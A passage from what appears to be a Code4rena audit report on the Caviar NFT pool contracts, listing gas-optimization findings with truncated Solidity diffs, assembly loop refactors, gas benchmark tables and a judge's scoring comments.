+++ b/src/PrivatePool.sol
@@ -438,13 +438,14 @@ contract PrivatePool is ERC721TokenReceive
         }

         // transfer the input nfts from the caller
+        address _nft = nft;
         for (uint256 i = 0; i < inputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(th
+            ERC721(_nft).safeTransferFrom(msg.sender, address(t
         }

         // transfer the output nfts to the caller
         for (uint256 i = 0; i < outputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(address(this), msg.ser
+            ERC721(_nft).safeTransferFrom(address(this), msg.se
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L496-L498

Cache `nft` to avoid storage reads on each loop iteration

```
File: src/PrivatePool.sol
496:         for (uint256 i = 0; i < tokenIds.length; i++) {
497:             ERC721(nft).safeTransferFrom(msg.sender, address
498:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..65eee4c 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -493,8 +493,9 @@ contract PrivatePool is ERC721TokenReceiver
         // ~~~ Interactions ~~~ //

         // transfer the nfts from the caller
+        address _nft = nft;
         for (uint256 i = 0; i < tokenIds.length; i++) {
```

```
-             ERC721(nft).safeTransferFrom(msg.sender, address(th
+             ERC721(_nft).safeTransferFrom(msg.sender, address(t
          }

          if (baseToken != address(0)) {
```

[G-05] Rearrange code to fail early

In the instance below, two gas-intensive internal functions are invoked before the `if` statement. If the check causes a revert, the gas consumed in the first two internal functions will not be refunded. Move the `if` statement to the top of the function to save gas for users that trigger a revert.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L219-L225

Gas Savings for `PrivatePool.buy` *, obtained via protocol's tests: Avg 327 gas*

	Med	Max	Avg	# calls
Before	74037	158864	70884	24
After	74040	158867	70557	24

```
File: src/PrivatePool.sol
219:         uint256 weightSum = sumWeightsAndValidateProof(toker
220:
221:         // calculate the required net input amount and fee a
222:         (netInputAmount, feeAmount, protocolFeeAmount) = buy
223:
224:         // check that the caller sent 0 ETH if the base toke
225:         if (baseToken != address(0) && msg.value > 0) revert
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..7465103 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -215,15 +215,15 @@ contract PrivatePool is ERC721TokenReceive
     {
         // ~~~ Checks ~~~ //
```

```
+         // check that the caller sent 0 ETH if the base token i
+         if (baseToken != address(0) && msg.value > 0) revert Ir
+
          // calculate the sum of weights of the NFTs to buy
          uint256 weightSum = sumWeightsAndValidateProof(tokenIds

          // calculate the required net input amount and fee amou
          (netInputAmount, feeAmount, protocolFeeAmount) = buyQuo

-         // check that the caller sent 0 ETH if the base token i
-         if (baseToken != address(0) && msg.value > 0) revert Ir
-
          // ~~~ Effects ~~~ //
```

[G-06] `x += y/x -= y` costs more gas than `x = x + y/x = x - y` for state variables

Total Instances: `2`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L230-L231

Gas Savings for `PrivatePool.buy` *, obtained via protocol's tests: Avg 289 gas*

	Med	Max	Avg	# calls
Before	74037	158864	70884	24
After	73713	158540	70595	24

```
File: src/PrivatePool.sol
230:          virtualBaseTokenReserves += uint128(netInputAmount -
231:          virtualNftReserves -= uint128(weightSum);
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..a0813a6 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -227,8 +227,8 @@ contract PrivatePool is ERC721TokenReceiver
```

```
        // ~~~ Effects ~~~ //

        // update the virtual reserves
-       virtualBaseTokenReserves += uint128(netInputAmount - fe
-       virtualNftReserves -= uint128(weightSum);
+       virtualBaseTokenReserves = virtualBaseTokenReserves + u
+       virtualNftReserves = virtualNftReserves - uint128(weigh

        // ~~~ Interactions ~~~ //
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L323-L324

Gas Savings for `PrivatePool.sell` *, obtained via protocol's tests: Avg 255 gas*

	Med	Max	Avg	# calls	
Before	50139	170448	81969	25	
After	49891	170138	81714	25	

```
File: src/PrivatePool.sol
323:         virtualBaseTokenReserves -= uint128(netOutputAmount
324:         virtualNftReserves += uint128(weightSum);
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..8a99e47 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -320,8 +320,8 @@ contract PrivatePool is ERC721TokenReceiver
        // ~~~ Effects ~~~ //

        // update the virtual reserves
-       virtualBaseTokenReserves -= uint128(netOutputAmount + p
-       virtualNftReserves += uint128(weightSum);
+       virtualBaseTokenReserves = virtualBaseTokenReserves - u
+       virtualNftReserves = virtualNftReserves + uint128(weigh

        // ~~~ Interactions ~~~ //
```

[G-07] `If` statements that use `&&` can be refactored into nested `if` statements

Total Instances: `9`

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L225

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L277

Gas Savings for `PrivatePool.buy` *, obtained via protocol's tests: Avg 25 gas*

	Med	Max	Avg	# calls
Before	74037	158864	70884	24
After	74011	158793	70859	24

```
File: src/PrivatePool.sol
225:         if (baseToken != address(0) && msg.value > 0) revert

277:         if (royaltyFee > 0 && recipient != address(0)) {
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..73492e8 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -222,7 +222,11 @@ contract PrivatePool is ERC721TokenReceiver
         (netInputAmount, feeAmount, protocolFeeAmount) = buyQuo

         // check that the caller sent 0 ETH if the base token i
-        if (baseToken != address(0) && msg.value > 0) revert Inv
+        if (baseToken != address(0)) {
+            if (msg.value > 0) {
+                revert InvalidEthAmount();
+            }
+        }

         // ~~~ Effects ~~~ //
```

```
@@ -274,11 +278,13 @@ contract PrivatePool is ERC721TokenReceive
                 (uint256 royaltyFee, address recipient) = _getF

                 // transfer the royalty fee to the recipient if
-                if (royaltyFee > 0 && recipient != address(0))
-                    if (baseToken != address(0)) {
-                        ERC20(baseToken).safeTransfer(recipient
-                    } else {
-                        recipient.safeTransferETH(royaltyFee);
+                if (royaltyFee > 0) {
+                    if (recipient != address(0)) {
+                        if (baseToken != address(0)) {
+                            ERC20(baseToken).safeTransfer(recip
+                        } else {
+                            recipient.safeTransferETH(royaltyFe
+                        }
                     }
                 }
             }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L344-L350

Gas Savings for `PrivatePool.sell` *, obtained via protocol's tests: Avg 29 gas*

	Med	Max	Avg	# calls
Before	50139	170448	81969	25
After	50139	170394	81940	25

```
File: src/PrivatePool.sol
344:                 if (royaltyFee > 0 && recipient != address(0
345:                     if (baseToken != address(0)) {
346:                         ERC20(baseToken).safeTransfer(recipi
347:                     } else {
348:                         recipient.safeTransferETH(royaltyFee
349:                     }
350:                 }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
```

```
index 75991e1..a3218eb 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -341,11 +341,13 @@ contract PrivatePool is ERC721TokenReceive
                 royaltyFeeAmount += royaltyFee;

                 // transfer the royalty fee to the recipient if
-                if (royaltyFee > 0 && recipient != address(0))
-                    if (baseToken != address(0)) {
-                        ERC20(baseToken).safeTransfer(recipient
-                    } else {
-                        recipient.safeTransferETH(royaltyFee);
+                if (royaltyFee > 0) {
+                    if (recipient != address(0)) {
+                        if (baseToken != address(0)) {
+                            ERC20(baseToken).safeTransfer(recip
+                        } else {
+                            recipient.safeTransferETH(royaltyFe
+                        }
                     }
                 }
             }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L397

Gas Savings for `PrivatePool.change` *, obtained via protocol's tests: Avg 25 gas*

	Med	Max	Avg	# calls
Before	116432	142008	82138	17
After	116406	141982	82113	17

```
File: src/PrivatePool.sol
397:         if (baseToken != address(0) && msg.value > 0) revert
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..e9bd8f2 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
```

```
@@ -394,7 +394,11 @@ contract PrivatePool is ERC721TokenReceiver
         // ~~~ Checks ~~~ //

         // check that the caller sent 0 ETH if base token is nc
-        if (baseToken != address(0) && msg.value > 0) revert Ir
+        if (baseToken != address(0)) {
+            if (msg.value > 0) {
+                revert InvalidEthAmount();
+            }
+        }

         // check that NFTs are not stolen
         if (useStolenNftOracle) {
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L635

Gas Savings for `PrivatePool.flashLoan` *, obtained via protocol's tests: Avg 16 gas*

	Med	Max	Avg	# calls
Before	83063	103206	83063	2
After	83047	103185	83047	2

```
File: src/PrivatePool.sol
635:         if (baseToken == address(0) && msg.value < fee) reve
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..fe5c440 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -632,7 +632,11 @@ contract PrivatePool is ERC721TokenReceiver
         uint256 fee = flashFee(token, tokenId);

         // if base token is ETH then check that caller sent enc
-        if (baseToken == address(0) && msg.value < fee) revert
+        if (baseToken == address(0)) {
+            if (msg.value < fee) {
+                revert InvalidEthAmount();
+            }
```

```
+         }

          // transfer the NFT to the borrower
          ERC721(token).safeTransferFrom(address(this), address(r
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L101-L103

Gas Savings for `EthRouter.buy` *, obtained via protocol's tests: Avg 10 gas*

	Med	Max	Avg	# calls
Before	187054	397581	199750	7
After	187044	397569	199740	7

```
File: src/EthRouter.sol
101:         if (block.timestamp > deadline && deadline != 0) {
102:             revert DeadlinePassed();
103:         }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..41ef7bf 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -98,8 +98,10 @@ contract EthRouter is ERC721TokenReceiver {
      /// @param payRoyalties Whether to pay royalties or not.
      function buy(Buy[] calldata buys, uint256 deadline, bool pa
          // check that the deadline has not passed (if any)
-         if (block.timestamp > deadline && deadline != 0) {
-             revert DeadlinePassed();
+         if (block.timestamp > deadline) {
+             if (deadline != 0) {
+                 revert DeadlinePassed();
+             }
          }
```

The instances below are similar to the one above:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L154-L156

Gas Savings for `EthRouter.sell` *, obtained via protocol's tests: Avg 11 gas*

	Med	Max	Avg	# calls
Before	217300	402940	232102	7
After	217290	402928	232091	7

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L228-L230

Gas Savings for `EthRouter.deposit` *, obtained via protocol's tests: Avg 12 gas*

	Med	Max	Avg	# calls
Before	2371	114072	29900	4
After	2359	114060	29888	4

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L256-L258

Gas Savings for `EthRouter.change` *, obtained via protocol's tests: Avg 12 gas*

	Med	Max	Avg	# calls
Before	284857	298879	217295	4
After	284845	298867	217283	4

[G-08] Use assembly for loops

In the following instances, assembly is used for more gas efficient loops. The only memory slots that are manually used in the loops are `scratch space (0x00-0x20)` , the `free memory pointer (0x40)` , and the `zero slot (0x60)` . This allows us to avoid using the free memory pointer to allocate new memory, which may result in memory expansion costs.

Note that in order to do this optimization safely we will need to cache and restore the `free memory pointer` after the loop. We will also set the `zero slot (0x60)` back to 0.

The final diffs have comments explaining the assembly code.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/Factory.sol#L119-L121

Gas Savings for `Factory.create`, obtained via protocol's tests: Avg 129 gas

	Med	Max	Avg	# calls
Before	161124	245619	148801	35
After	161112	243941	148672	35

```
File: src/Factory.sol
119:         for (uint256 i = 0; i < tokenIds.length; i++) {
120:             ERC721(_nft).safeTransferFrom(msg.sender, addres
121:         }
```

```
diff --git a/src/Factory.sol b/src/Factory.sol
index 09cbb4e..c2e06f6 100644
--- a/src/Factory.sol
+++ b/src/Factory.sol
@@ -116,8 +116,26 @@ contract Factory is ERC721, Owned {
         }

         // deposit the nfts from the caller into the pool
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(_nft).safeTransferFrom(msg.sender, address(p
+        assembly {
+            if mload(tokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(tokenIds, 0x20), mul(0x20, m
+                let i := add(tokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, privatePool)
+                for {} 1 {} {
```

```
+                    mstore(0x60, mload(i))
+                    let success := call(gas(), calldataload(0x2
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
        }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L134-L137

Gas Savings for `EthRouter.buy` *, obtained via protocol's tests: Avg 5728 gas*

	Med	Max	Avg	# calls
Before	187054	397581	199750	7
After	182465	384540	194022	7

```
File: src/EthRouter.sol
134:             for (uint256 j = 0; j < buys[i].tokenIds.length;
135:                 // transfer the NFT to the caller
136:                 ERC721(buys[i].nft).safeTransferFrom(address
137:             }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..4ea89f5 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -131,9 +131,28 @@ contract EthRouter is ERC721TokenReceiver {
                 );
             }

-            for (uint256 j = 0; j < buys[i].tokenIds.length; j+
-                // transfer the NFT to the caller
-                ERC721(buys[i].nft).safeTransferFrom(address(th
```

```
+            Buy calldata _buy = buys[i];
+            uint256[] calldata _tokenIds = _buy.tokenIds;
+            assembly {
+                if _tokenIds.length {
+                    let memptr := mload(0x40)
+                    let end := add(_tokenIds.offset, mul(0x20,
+                    let j := _tokenIds.offset
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, address())
+                    mstore(0x40, caller())
+                    for {} 1 {} {
+                        mstore(0x60, calldataload(j))
+                        let success := call(gas(), calldataloac
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
            }
        }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L161-L163

Gas Savings for `EthRouter.sell` *, obtained via protocol's tests: Avg 4735 gas*

	Med	Max	Avg	# calls
Before	217300	402940	232102	7
After	212706	395062	227367	7

```
File: src/EthRouter.sol
161:             for (uint256 j = 0; j < sells[i].tokenIds.length
162:                 ERC721(sells[i].nft).safeTransferFrom(msg.se
163:             }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..c1a07ab 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -158,8 +158,30 @@ contract EthRouter is ERC721TokenReceiver {
         // loop through and execute the sells
         for (uint256 i = 0; i < sells.length; i++) {
             // transfer the NFTs into the router from the calle
-            for (uint256 j = 0; j < sells[i].tokenIds.length; j
-                ERC721(sells[i].nft).safeTransferFrom(msg.sende
+            {
+                Sell calldata _sell = sells[i];
+                uint256[] calldata _tokenIds = _sell.tokenIds;
+                assembly {
+                    if _tokenIds.length {
+                        let memptr := mload(0x40)
+                        let end := add(_tokenIds.offset, mul(0x
+                        let j := _tokenIds.offset
+                        mstore(0x00, 0x42842e0e)
+                        mstore(0x20, caller())
+                        mstore(0x40, address())
+                        for {} 1 {} {
+                            mstore(0x60, calldataload(j))
+                            let success := call(gas(), calldata
+                            if iszero(success) {
+                                revert(0, 0)
+                            }
+                            j := add(j, 0x20)
+                            if iszero(lt(j, end)) { break }
+                        }
+                        mstore(0x40, memptr)
+                        mstore(0x60, 0x00)
+                    }
+                }
             }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L239-L241

Gas Savings for `EthRouter.deposit` *, obtained via protocol's tests: Avg 211 gas*

	Med	Max	Avg	# calls
Before	2371	114072	29900	4
After	2371	113228	29689	4

```
File: src/EthRouter.sol
239:         for (uint256 i = 0; i < tokenIds.length; i++) {
240:             ERC721(nft).safeTransferFrom(msg.sender, address
241:         }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..3006dcb 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -236,8 +236,26 @@ contract EthRouter is ERC721TokenReceiver {
         }

         // transfer NFTs from caller
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(th
+        assembly {
+            if tokenIds.length {
+                let memptr := mload(0x40)
+                let end := add(tokenIds.offset, mul(0x20, toker
+                let i := tokenIds.offset
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, calldataload(i))
+                    let success := call(gas(), calldataload(0x2
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L265-L286

Gas Savings for `EthRouter.change` *, obtained via protocol's tests: Avg 6587 gas*

	Med	Max	Avg	# calls	
Before	284857	298879	217295	4	
After	276074	290096	210708	4	

```
File: src/EthRouter.sol
265:             for (uint256 j = 0; j < changes[i].inputTokenIds
266:                 ERC721(_change.nft).safeTransferFrom(msg.sen
267:             }
...
284:             for (uint256 j = 0; j < changes[i].outputTokenId
285:                 ERC721(_change.nft).safeTransferFrom(address
286:             }
```

```
diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..250b83b 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -260,10 +260,30 @@ contract EthRouter is ERC721TokenReceiver
         // loop through and execute the changes
         for (uint256 i = 0; i < changes.length; i++) {
             Change memory _change = changes[i];
+            uint256[] memory _inputTokenIds = _change.inputToke
+            uint256[] memory _outputTokenIds = _change.outputTo

             // transfer NFTs from caller
-            for (uint256 j = 0; j < changes[i].inputTokenIds.le
-                ERC721(_change.nft).safeTransferFrom(msg.sender
+            assembly {
+                if mload(_inputTokenIds) {
+                    let memptr := mload(0x40)
+                    let end := add(add(_inputTokenIds, 0x20), m
+                    let j := add(_inputTokenIds, 0x20)
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, caller())
+                    mstore(0x40, address())
```

```
+                    for {} 1 {} {
+                        mstore(0x60, mload(j))
+                        let success := call(gas(), mload(add(_c
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
             }

             // approve pair to transfer NFTs from router
@@ -281,8 +301,26 @@ contract EthRouter is ERC721TokenReceiver {
             );

             // transfer NFTs to caller
-            for (uint256 j = 0; j < changes[i].outputTokenIds.l
-                ERC721(_change.nft).safeTransferFrom(address(th
+            assembly {
+                if mload(_outputTokenIds) {
+                    let memptr := mload(0x40)
+                    let end := add(add(_outputTokenIds, 0x20),
+                    let j := add(_outputTokenIds, 0x20)
+                    mstore(0x00, 0x42842e0e)
+                    mstore(0x20, address())
+                    mstore(0x40, caller())
+                    for {} 1 {} {
+                        mstore(0x60, mload(j))
+                        let success := call(gas(), mload(add(_c
+                        if iszero(success) {
+                            revert(0, 0)
+                        }
+                        j := add(j, 0x20)
+                        if iszero(lt(j, end)) { break }
+                    }
+                    mstore(0x40, memptr)
+                    mstore(0x60, 0x00)
+                }
             }
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L441-L448

Gas Savings for `PrivatePool.change`*, obtained via protocol's tests: Avg 2388 gas*

	Med	Max	Avg	# calls
Before	116432	142008	82138	17
After	113218	136466	79750	17

```
File: src/PrivatePool.sol
441:         for (uint256 i = 0; i < inputTokenIds.length; i++) {
442:             ERC721(nft).safeTransferFrom(msg.sender, address
443:         }
444:
445:         // transfer the output nfts to the caller
446:         for (uint256 i = 0; i < outputTokenIds.length; i++)
447:             ERC721(nft).safeTransferFrom(address(this), msg.
448:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..859111e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -438,13 +438,51 @@ contract PrivatePool is ERC721TokenReceive
         }

         // transfer the input nfts from the caller
-        for (uint256 i = 0; i < inputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(th
+        address _nft = nft;
+        assembly {
+            if mload(inputTokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(inputTokenIds, 0x20), mul(0x
+                let i := add(inputTokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, mload(i))
```

```
+                    let success := call(gas(), _nft, 0x00, 0x1c
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
+
         }

         // transfer the output nfts to the caller
-        for (uint256 i = 0; i < outputTokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(address(this), msg.ser
+        assembly {
+            if mload(outputTokenIds) {
+                let memptr := mload(0x40)
+                let end := add(add(outputTokenIds, 0x20), mul(0
+                let i := add(outputTokenIds, 0x20)
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, address())
+                mstore(0x40, caller())
+                for {} 1 {} {
+                    mstore(0x60, mload(i))
+                    let success := call(gas(), _nft, 0x00, 0x1c
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L496-L498

Note: `PrivatePool.deposit` **is fuzzed, which results in inconsistent gas usage during tests. This is why** `EthRouter.deposit` **is benchmarked instead.**

Gas Savings for `EthRouter.deposit` *, obtained via protocol's tests: Avg 232 gas*

	Med	Max	Avg	# calls
Before	2371	114072	29900	4
After	2371	113145	29668	4

```
File: src/PrivatePool.sol
496:         for (uint256 i = 0; i < tokenIds.length; i++) {
497:             ERC721(nft).safeTransferFrom(msg.sender, address
498:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..b22c813 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -493,8 +493,27 @@ contract PrivatePool is ERC721TokenReceiver
         // ~~~ Interactions ~~~ //

         // transfer the nfts from the caller
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            ERC721(nft).safeTransferFrom(msg.sender, address(th
+        address _nft = nft;
+        assembly {
+            if tokenIds.length {
+                let memptr := mload(0x40)
+                let end := add(tokenIds.offset, mul(0x20, token
+                let i := tokenIds.offset
+                mstore(0x00, 0x42842e0e)
+                mstore(0x20, caller())
+                mstore(0x40, address())
+                for {} 1 {} {
+                    mstore(0x60, calldataload(i))
+                    let success := call(gas(), _nft, 0x00, 0x1c
+                    if iszero(success) {
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
```

```
+                 }
              }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L518-L520

Gas Savings for `PrivatePool.withdraw` *, obtained via protocol's tests: Avg 985 gas*

	Med	Max	Avg	# calls
Before	81842	81842	62023	5
After	80547	80547	61038	5

```
File: src/PrivatePool.sol
518:         for (uint256 i = 0; i < tokenIds.length; i++) {
519:             ERC721(_nft).safeTransferFrom(address(this), msg
520:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..4211c9e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -515,8 +515,26 @@ contract PrivatePool is ERC721TokenReceiver
          // ~~~ Interactions ~~~ //

          // transfer the nfts to the caller
-         for (uint256 i = 0; i < tokenIds.length; i++) {
-             ERC721(_nft).safeTransferFrom(address(this), msg.se
+         assembly {
+             if tokenIds.length {
+                 let memptr := mload(0x40)
+                 let end := add(tokenIds.offset, mul(0x20, toker
+                 let i := tokenIds.offset
+                 mstore(0x00, 0x42842e0e)
+                 mstore(0x20, address())
+                 mstore(0x40, caller())
+                 for {} 1 {} {
+                     mstore(0x60, calldataload(i))
+                     let success := call(gas(), calldataload(0x0
+                     if iszero(success) {
```

```
+                        revert(0, 0)
+                    }
+                    i := add(i, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+                mstore(0x40, memptr)
+                mstore(0x60, 0x00)
+            }
        }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L673-L679

Note: `PrivatePool.sumWeightsAndValidateProof` **is called by all the functions below.**

Gas Savings for `PrivatePool.buy` *, obtained via protocol's tests: Avg 33 gas*

	Med	Max	Avg	# calls
Before	74037	158864	70884	24
After	74037	158864	70851	24

Gas Savings for `PrivatePool.sell` *, obtained via protocol's tests: Avg 74 gas*

	Med	Max	Avg	# calls
Before	50139	170448	81969	25
After	50139	170448	81895	25

Gas Savings for `PrivatePool.change` *, obtained via protocol's tests: Avg 157 gas*

	Med	Max	Avg	# calls
Before	116432	142008	82138	17
After	116432	142008	81981	17

```
File: src/PrivatePool.sol
673:         for (uint256 i = 0; i < tokenIds.length; i++) {
```

```
674:             // create the leaf for the merkle proof
675:             leafs[i] = keccak256(bytes.concat(keccak256(abi.
676:
677:             // sum each token weight
678:             sum += tokenWeights[i];
679:         }
```

```
diff --git a/src/PrivatePool.sol b/src/PrivatePool.sol
index 75991e1..7d63e8e 100644
--- a/src/PrivatePool.sol
+++ b/src/PrivatePool.sol
@@ -670,12 +670,25 @@ contract PrivatePool is ERC721TokenReceive

         uint256 sum;
         bytes32[] memory leafs = new bytes32[](tokenIds.length)
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            // create the leaf for the merkle proof
-            leafs[i] = keccak256(bytes.concat(keccak256(abi.enc
-
-            // sum each token weight
-            sum += tokenWeights[i];
+        assembly {
+            if mload(tokenIds) {
+                let end := add(add(tokenIds, 0x20), mul(0x20, m
+                let i := add(tokenIds, 0x20)
+                let j := add(tokenWeights, 0x20)
+                let k := add(leafs, 0x20)
+                for {} 1 {} {
+                    mstore(0x00, mload(i))
+                    mstore(0x20, mload(j))
+                    mstore(0x00, keccak256(0x00, 0x40))
+                    let hash := keccak256(0x00, 0x20)
+                    mstore(k, hash)
+                    sum := add(sum, mload(j))
+                    i := add(i, 0x20)
+                    j := add(j, 0x20)
+                    k := add(k, 0x20)
+                    if iszero(lt(i, end)) { break }
+                }
+            }
         }
```

`GasReport` output, with all optimizations applied

src/EthRouter.sol:EthRouter contract		
Deployment Cost	Deployment Size	
1415709	7247	
Function Name	min	avg
buy	658	19046
change	576	20256
deposit	773	29393
onERC721Received	698	698
receive	55	55
sell	732	22398

src/Factory.sol:Factory contract			
Deployment Cost	Deployment Size		
1403424	7270		
Function Name	min	avg	
create	1641	148672	
ownerOf	0	20	
predictPoolDeploymentAddress	2868	2868	
privatePoolImplementation	403	403	
privatePoolMetadata	426	426	
protocolFeeRate	419	1332	
receive	55	55	
setPrivatePoolImplementation	22744	22744	
setPrivatePoolMetadata	2599	22357	
setProtocolFeeRate	7521	9678	
tokenURI	367468	367468	
withdraw	2729	12149	

src/PrivatePool.sol:PrivatePool contract		
Deployment Cost	Deployment Size	
3097024	15926	
Function Name	min	a
baseToken	404	9
buy	1123	6
buyQuote	2282	5
change	4723	7
changeFee	366	3

| changeFeeQuote | 3070 | 9
| deposit | 793 | 6
| execute | 3615 | 1
| factory | 261 | 2
| feeRate | 375 | 3
| flashFee | 539 | 1
| flashFeeToken | 419 | 8
| flashLoan | 62820 | 8
| initialize | 1205 | 6
| initialized | 418 | 4
| merkleRoot | 385 | 3
| nft | 383 | 3
| onERC721Received | 840 | 8
| payRoyalties | 393 | 3
| price | 1185 | 3
| receive | 55 | 5
| sell | 6077 | 8
| sellQuote | 2407 | 5
| setFeeRate | 3384 | 6
| setMerkleRoot | 9425 | 9
| setPayRoyalties | 3406 | 6
| setUseStolenNftOracle | 3428 | 5
| setVirtualReserves | 3568 | 7
| useStolenNftOracle | 417 | 4
| virtualBaseTokenReserves | 470 | 4
| virtualNftReserves | 465 | 4
| withdraw | 3774 | 6

Alex the Entreprenerd (judge) commented:

> At least 2k gas from SLOADs and the Calldata.

> Will check the rest.

Alex the Entreprenerd (judge) commented:

> **[G-01] Cache calldata/memory pointers for complex types to avoid offset calculations** 52
> Refactor

> **[G-02] Use calldata instead of memory for function arguments that do not get mutated** 4

Low

[G-03] State variables can be cached instead of re-reading them from storage 16
Low

[G-04] Cache state variables outside of loop to avoid reading storage on every iteration 6
Non-Critical

[G-05] Rearrange code to fail early 1
Ignoring

[G-06] x += y/x -= y costs more gas than x = x + y/x = x - y for state variables 2
Non-Critical

[G-07] If statements that use && can be refactored into nested if statements 9
Ignoring

[G-08] Use assembly for loops
Refactor

Bonus of 5 points because fully benchmarked.

Mitigation Review

Introduction

